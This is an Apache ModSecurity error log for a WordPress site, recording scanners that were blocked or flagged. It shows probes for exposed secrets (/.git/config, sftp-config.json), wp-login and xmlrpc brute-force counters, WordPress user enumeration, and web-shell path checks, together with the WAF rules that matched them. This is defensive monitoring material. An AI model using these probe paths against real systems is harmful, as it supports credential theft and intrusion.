[Mon Nov 24 08:14:41.181720 2025] [:error] [pid 48600:tid 48651] [client 180.102.134.69:38527] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSOjcftOzSUAQvWVjBcHeAAAAdU"]
[Mon Nov 24 08:18:05.480473 2025] [:error] [pid 48599:tid 48617] [client 103.65.237.124:59539] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aSOkPZzvu6PDJiRKE3KpogAAAY4"]
[Mon Nov 24 08:18:05.764870 2025] [:error] [pid 49900:tid 49903] [client 103.65.237.124:59753] [client 103.65.237.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aSOkPTCyPLrvg06aorljpwAAAAE"]
[Mon Nov 24 08:39:02.626868 2025] [:error] [pid 48599:tid 48604] [client 104.28.208.84:20493] [client 104.28.208.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.208.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOpJpzvu6PDJiRKE3Ky6gAAAYE"]
[Mon Nov 24 08:39:04.071708 2025] [:error] [pid 48600:tid 48652] [client 104.28.208.84:20803] [client 104.28.208.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.208.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOpKPtOzSUAQvWVjBcSgAAAAdY"]
[Mon Nov 24 08:42:25.146629 2025] [:error] [pid 48688:tid 48703] [client 200.189.64.57:53363] [client 200.189.64.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.189.64.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOp8Rm2q1FkzLam7A0hogAAAks"]
[Mon Nov 24 09:05:38.204766 2025] [:error] [pid 48601:tid 48673] [client 104.28.163.36:12151] [client 104.28.163.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.163.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOvYoMM4MaVTk74-AY9uQAAAhA"]
[Mon Nov 24 09:05:38.397999 2025] [:error] [pid 48688:tid 48712] [client 104.28.163.36:14238] [client 104.28.163.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.163.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOvYhm2q1FkzLam7A0uiQAAAlQ"]
[Mon Nov 24 09:32:10.380676 2025] [:error] [pid 48600:tid 48641] [client 104.28.163.36:12304] [client 104.28.163.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.163.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSO1mvtOzSUAQvWVjBcwiwAAAcs"]
[Mon Nov 24 09:32:10.880720 2025] [:error] [pid 48599:tid 48607] [client 104.28.163.36:11793] [client 104.28.163.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.163.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSO1mpzvu6PDJiRKE3LPLgAAAYQ"]
[Mon Nov 24 09:44:59.377992 2025] [:error] [pid 9630:tid 9638] [client 178.62.91.14:35280] [client 178.62.91.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.91.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSO4myrSgUgPGkizt2psywAAAEY"]
[Mon Nov 24 10:04:22.478726 2025] [:error] [pid 16441:tid 16458] [client 50.116.112.170:32224] [client 50.116.112.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.116.112.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSO9Joq_bc5MOa9HflmYxAAAAI4"]
[Mon Nov 24 10:04:25.784015 2025] [:error] [pid 48599:tid 48626] [client 50.116.112.170:32240] [client 50.116.112.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.116.112.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSO9KZzvu6PDJiRKE3LbCQAAAZc"]
[Mon Nov 24 10:17:58.085245 2025] [:error] [pid 16441:tid 16460] [client 148.230.101.165:35836] [client 148.230.101.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.230.101.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPAVoq_bc5MOa9HflmfBwAAAJA"]
[Mon Nov 24 10:20:10.569686 2025] [proxy_fcgi:error] [pid 48600:tid 48642] (70007)The timeout specified has expired: [client 51.81.107.180:46820] AH01075: Error dispatching request to : (polling)
[Mon Nov 24 10:29:38.769061 2025] [:error] [pid 48688:tid 48705] [client 141.94.206.106:51960] [client 141.94.206.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.206.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPDEhm2q1FkzLam7A1XlAAAAk0"]
[Mon Nov 24 11:08:53.621817 2025] [:error] [pid 48601:tid 48665] [client 129.226.174.80:59274] [client 129.226.174.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSPMRYMM4MaVTk74-AZq0QAAAgg"]
[Mon Nov 24 11:14:01.261873 2025] [:error] [pid 16516:tid 16532] [client 81.8.91.201:48684] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPNefqZbniwaNwL8Xmz1gAAAQ0"]
[Mon Nov 24 12:02:59.477929 2025] [:error] [pid 16441:tid 16456] [client 162.19.25.160:59478] [client 162.19.25.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.19.25.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPY84q_bc5MOa9HflnHswAAAIw"]
[Mon Nov 24 12:48:57.380117 2025] [:error] [pid 16441:tid 16450] [client 158.247.243.94:44464] [client 158.247.243.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.247.243.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPjuYq_bc5MOa9HflnYhQAAAIY"]
[Mon Nov 24 12:56:42.209792 2025] [:error] [pid 16593:tid 16601] [client 35.194.45.168:51938] [client 35.194.45.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.194.45.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSPlihVGznHBJI2LKpQXswAAAoY"]
[Mon Nov 24 12:56:44.675126 2025] [:error] [pid 48600:tid 48649] [client 35.194.45.168:51950] [client 35.194.45.168] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.194.45.168, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSPljPtOzSUAQvWVjBdWpwAAAdM"]
[Mon Nov 24 13:00:16.529010 2025] [:error] [pid 49900:tid 49914] [client 200.189.64.57:52334] [client 200.189.64.57] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aSPmYDCyPLrvg06aornWzgAAAAw"]
[Mon Nov 24 13:02:04.473000 2025] [:error] [pid 48599:tid 48612] [client 200.189.64.57:52333] [client 200.189.64.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.189.64.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPmzJzvu6PDJiRKE3L7UgAAAYk"]
[Mon Nov 24 13:03:45.957922 2025] [:error] [pid 16441:tid 16465] [client 200.189.64.57:52636] [client 200.189.64.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.189.64.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPnMYq_bc5MOa9HflndpQAAAJU"]
[Mon Nov 24 13:05:32.413421 2025] [:error] [pid 16516:tid 16542] [client 200.189.64.57:52703] [client 200.189.64.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.189.64.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPnnPqZbniwaNwL8XnCLwAAARc"]
[Mon Nov 24 13:07:17.825371 2025] [:error] [pid 48688:tid 48694] [client 200.189.64.57:52545] [client 200.189.64.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.189.64.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPoBRm2q1FkzLam7A1ycgAAAkI"]
[Mon Nov 24 13:08:53.437942 2025] [:error] [pid 9630:tid 9647] [client 200.189.64.57:51972] [client 200.189.64.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.189.64.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPoZSrSgUgPGkizt2qvsAAAAE8"]
[Mon Nov 24 13:37:27.655051 2025] [:error] [pid 16441:tid 16450] [client 185.251.199.203:32948] [client 185.251.199.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.251.199.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSPvF4q_bc5MOa9HflnnegAAAIY"]
[Mon Nov 24 14:27:40.399624 2025] [:error] [pid 49900:tid 49902] [client 144.217.252.106:34664] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.217.252.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSP63DCyPLrvg06aornnnAAAAAA"]
[Mon Nov 24 14:36:50.532514 2025] [:error] [pid 49900:tid 49920] [client 182.44.10.67:38065] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSP9AjCyPLrvg06aornqQQAAABI"]
[Mon Nov 24 15:42:08.068402 2025] [:error] [pid 48600:tid 48643] [client 52.77.244.182:37904] [client 52.77.244.182] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSQMUPtOzSUAQvWVjBdsDAAAAc0"]
[Mon Nov 24 16:02:01.300873 2025] [:error] [pid 48600:tid 48649] [client 35.174.4.249:32886] [client 35.174.4.249] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aSQQ-ftOzSUAQvWVjBducgAAAdM"]
[Mon Nov 24 16:31:41.284369 2025] [:error] [pid 49900:tid 49904] [client 173.249.147.129:46005] [client 173.249.147.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.147.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSQX7TCyPLrvg06aorkCUQAAAAI"]
[Mon Nov 24 16:31:43.569503 2025] [:error] [pid 48688:tid 48713] [client 173.249.147.129:46011] [client 173.249.147.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.147.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSQX7xm2q1FkzLam7A2TIQAAAlU"]
[Mon Nov 24 17:31:42.432116 2025] [:error] [pid 9630:tid 9635] [client 43.165.69.68:46454] [client 43.165.69.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSQl_irSgUgPGkizt2rz_wAAAEM"]
[Mon Nov 24 17:45:12.323494 2025] [:error] [pid 48601:tid 48665] [client 167.86.80.181:52540] [client 167.86.80.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.80.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSQpKIMM4MaVTk74-Aa4wwAAAgg"]
[Mon Nov 24 18:18:45.138460 2025] [:error] [pid 16549:tid 16552] [client 197.242.158.15:53908] [client 197.242.158.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.242.158.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSQxBaeWW19A99PUw_dDGgAAAUA"]
[Mon Nov 24 18:36:49.672125 2025] [:error] [pid 16549:tid 16576] [client 212.92.58.67:13777] [client 212.92.58.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.92.58.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSQ1QaeWW19A99PUw_dFrwAAAVc"]
[Mon Nov 24 19:32:14.052010 2025] [:error] [pid 48601:tid 48669] [client 78.47.142.186:49948] [client 78.47.142.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.47.142.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSRCPoMM4MaVTk74-AbPLgAAAgw"]
[Mon Nov 24 19:33:50.125894 2025] [:error] [pid 48601:tid 48662] [client 92.205.231.61:50538] [client 92.205.231.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.231.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSRCnoMM4MaVTk74-AbPewAAAgU"]
[Mon Nov 24 19:33:52.600654 2025] [:error] [pid 48688:tid 48699] [client 92.205.231.61:60986] [client 92.205.231.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.231.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSRCoBm2q1FkzLam7A23SwAAAkc"]
[Mon Nov 24 20:23:55.547311 2025] [:error] [pid 16441:tid 16464] [client 185.199.223.27:40322] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSROW4q_bc5MOa9Hfll31wAAAJQ"]
[Mon Nov 24 20:51:01.238902 2025] [:error] [pid 16441:tid 16464] [client 3.86.214.214:44726] [client 3.86.214.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSRUtYq_bc5MOa9HflmBYQAAAJQ"]
[Mon Nov 24 21:00:38.677459 2025] [:error] [pid 16593:tid 16617] [client 113.219.218.197:45866] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aSRW9hVGznHBJI2LKpRlUQAAApY"]
[Mon Nov 24 21:36:31.924947 2025] [:error] [pid 16593:tid 16609] [client 67.225.216.61:45220] [client 67.225.216.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.225.216.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSRfXxVGznHBJI2LKpRqgwAAAo4"]
[Mon Nov 24 21:36:34.922076 2025] [:error] [pid 49900:tid 49912] [client 67.225.216.61:45815] [client 67.225.216.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.225.216.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSRfYjCyPLrvg06aorlHSgAAAAo"]
[Mon Nov 24 22:04:07.159332 2025] [:error] [pid 16441:tid 16457] [client 155.133.142.66:49084] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSRl14q_bc5MOa9HflmaxgAAAI0"]
[Mon Nov 24 22:56:39.060259 2025] [:error] [pid 16549:tid 16566] [client 73.253.50.159:52474] [client 73.253.50.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 73.253.50.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSRyJ6eWW19A99PUw_dylQAAAU4"]
[Mon Nov 24 23:54:26.780583 2025] [:error] [pid 48599:tid 48609] [client 115.79.196.94:46856] [client 115.79.196.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.196.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSR_spzvu6PDJiRKE3JoAgAAAYY"]
[Mon Nov 24 23:54:29.388742 2025] [:error] [pid 16441:tid 16447] [client 115.79.196.94:46868] [client 115.79.196.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 115.79.196.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSR_tYq_bc5MOa9HflnBWAAAAIM"]
[Tue Nov 25 00:05:04.055242 2025] [:error] [pid 16441:tid 16453] [client 159.203.169.232:49712] [client 159.203.169.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.169.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSCMIq_bc5MOa9HflnFDQAAAIk"]
[Tue Nov 25 00:58:48.244670 2025] [:error] [pid 48600:tid 48650] [client 68.183.121.35:43452] [client 68.183.121.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.121.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSSOyPtOzSUAQvWVjBe8NgAAAdQ"]
[Tue Nov 25 01:28:42.147262 2025] [:error] [pid 48601:tid 48658] [client 198.211.125.40:44376] [client 198.211.125.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.211.125.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSSVyoMM4MaVTk74-AYSfQAAAgE"]
[Tue Nov 25 01:28:44.797536 2025] [:error] [pid 16516:tid 16521] [client 198.211.125.40:44906] [client 198.211.125.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.211.125.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSSVzPqZbniwaNwL8XkteQAAAQI"]
[Tue Nov 25 02:28:47.082188 2025] [:error] [pid 48599:tid 48626] [client 142.111.152.183:37909] [client 142.111.152.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSSj35zvu6PDJiRKE3KANgAAAZc"]
